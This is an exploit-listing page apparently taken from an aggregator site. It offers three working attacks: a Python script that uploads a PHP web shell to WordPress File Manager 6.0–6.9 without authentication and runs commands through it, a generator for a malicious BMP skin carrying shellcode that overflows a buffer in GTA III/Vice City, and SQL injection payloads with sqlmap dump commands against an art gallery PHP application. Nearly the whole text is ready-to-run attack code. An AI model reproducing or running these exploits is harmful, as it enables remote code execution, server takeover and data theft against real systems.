Latest exploits :: CodePwn

<pre><code>#!/usr/bin/env # Exploit Title: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE # Date: [ 22-01-2023 ] # Exploit Author: [BLY] # Vendor Homepage: [https://wpscan.com/vulnerability/10389] # Version: [ File Manager plugin 6.0-6.9] # Tested on: [ Debian ] # CVE : [ CVE-2020-25213 ] import sys,signal,time,requests from bs4 import BeautifulSoup #from pprint import pprint def handler(sig,frame): print ("[!]Saliendo") sys.exit(1) signal.signal(signal.SIGINT,handler) def commandexec(command): exec_url = url+"/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php" params = { "cmd":command } r=requests.get(exec_url,params=params) soup = BeautifulSoup(r.text, 'html.parser') text = soup.get_text() print (text) def exploit(): global url url = sys.argv[1] command = sys.argv[2] upload_url = url+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" headers = { 'content-type': "multipart/form-data; boundary=----WebKitFormBoundaryvToPIGAB0m9SB1Ww", 'Connection': "close" } payload = "------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo \"<pre>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"; ?>\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww--" try: r=requests.post(upload_url,data=payload,headers=headers) #pprint(r.json()) commandexec(command) except: print("[!] Algo ha salido mal...") def help(): print ("\n[*] Uso: python3",sys.argv[0],"\"url\" \"comando\"") print ("[!] Ejemplo: python3",sys.argv[0],"http://wordpress.local/ id") if __name__ == '__main__': if len(sys.argv) != 3: help() else: exploit() </code></pre>

<pre><code># Exploit Title: Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow # Exploit Date: 22.01.2023 # Discovered and Written by: Knursoft # Vendor Homepage: https://www.rockstargames.com/ # Version: v1.1 # Tested on: Windows XP SP2/SP3, 7, 10 21H2 # CVE : N/A #1 - Run this python script to generate "evil.bmp" file. #2 - Copy it to [Your Game Path]\skins. #3 - Launch the game and navigate to Options > Player Setup and choose skin "evil". #4 - Buffer Overflow occurs and calc.exe pops up! #msfvenom -p windows/exec CMD="calc.exe" buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64" buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28" buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c" buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49" buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b" buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00" buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" buf += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65" buf += b"\x00" #any shellcode should work, as it seems there is no badchars ver = 0 #set to 1 if you want it to work on GTA III steam version esp = b"\xb9\xc5\x14\x21" #mss32.dll jmp esp bmphdr = b"\x42\x4D\x36\x00\x03\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00" #generic bmp header payload = bmphdr payload += b"\x90" * 1026 if ver == 1: payload += b"\x90" * 112 payload += esp payload += b"\x90" * 20 #padding payload += buf with open("evil.bmp", "wb") as poc: poc.write(payload) </code></pre>

<pre><code># Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (sqli) Unauthenticated # Date: 20/01/2023 # Exploit Author: Rahul Patwari # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip # Version: 1.0 # Tested on: XAMPP / Windows 10 # CVE : CVE-2023-23162 # Proof of Concept: # 1- Install The application Art Gallery Management System Project v1.0 # 2- Navigate to the product page by clicking on the "ART TYPE" by selecting any of the categories on the menu. # 3- Now insert a single quote ( ' ) on "cid" parameter to break the database query, you will see the output is not shown. # 4- Now inject the payload double single quote ('') in the "cid" parameter to merge the database query and after sending this request the SQL query is successfully performed and the product is shown in the output. # 5- Now find how many columns are returned by the SQL query. this query will return 6 columns. Payload:cid=1%27order%20by%206%20--%20-&artname=Sculptures # 6- for manually getting data from the database insert the below payload to see the user of the database. payload: cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs # 7- for automation using "SQLMAP" intercept the request and copy this request to a file called "request.txt". # 8- now to get all database data use the below "sqlmap" command to fetch all the data. Command: sqlmap -r request.txt -p cid --dump-all --batch # Go to this url " https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs " # Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (sqli) authenticated # Date: 20/01/2023 # Exploit Author: Rahul Patwari # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip # Version: 1.0 # Tested on: XAMPP / Windows 10 # CVE : CVE-2023-23163 # Proof of Concept: # 1- Install The application Art Gallery Management System Project v1.0 # 2- Navigate to admin login page and login with the valid username and password<admin:Test@123>. URL: http://localhost/Art-Gallery-MS-PHP/admin/login.php # 3- Now navigate "Manage ART TYPE" by clicking on "ART TYPE" option on left side bar. # 4- Now click on any of the Art Type "Edit" button and you will redirect to the edit page of art type. # 5- Now insert a single quote ( ' ) on "editid" parameter to break the database query, you will see the output is not shows. # 6- Now inject the payload double single quote ('') in the "editid" parameter to merge the database query and after sending this request the SQL query is successfully performed and product is shows in the output. # 7- Now find how many column are returns by the SQL query. this query will return 6 column. Payload:editid=6%27order%20by%203%20--%20- # 8- For manually get data of database insert the below payload to see the user of the database. payload: editid=-6%27union%20all%20select%201,user(),3--%20- # 9- Now to get all database data use below "sqlmap" command to fetch all the data. Command: sqlmap http://localhost/Art-Gallery-MS-PHP/admin/edit-art-type-detail.php?editid=6 --cookie="PHPSESSID=hub8pub9s5c1j18cva9594af3q" --dump-all --batch </code></pre>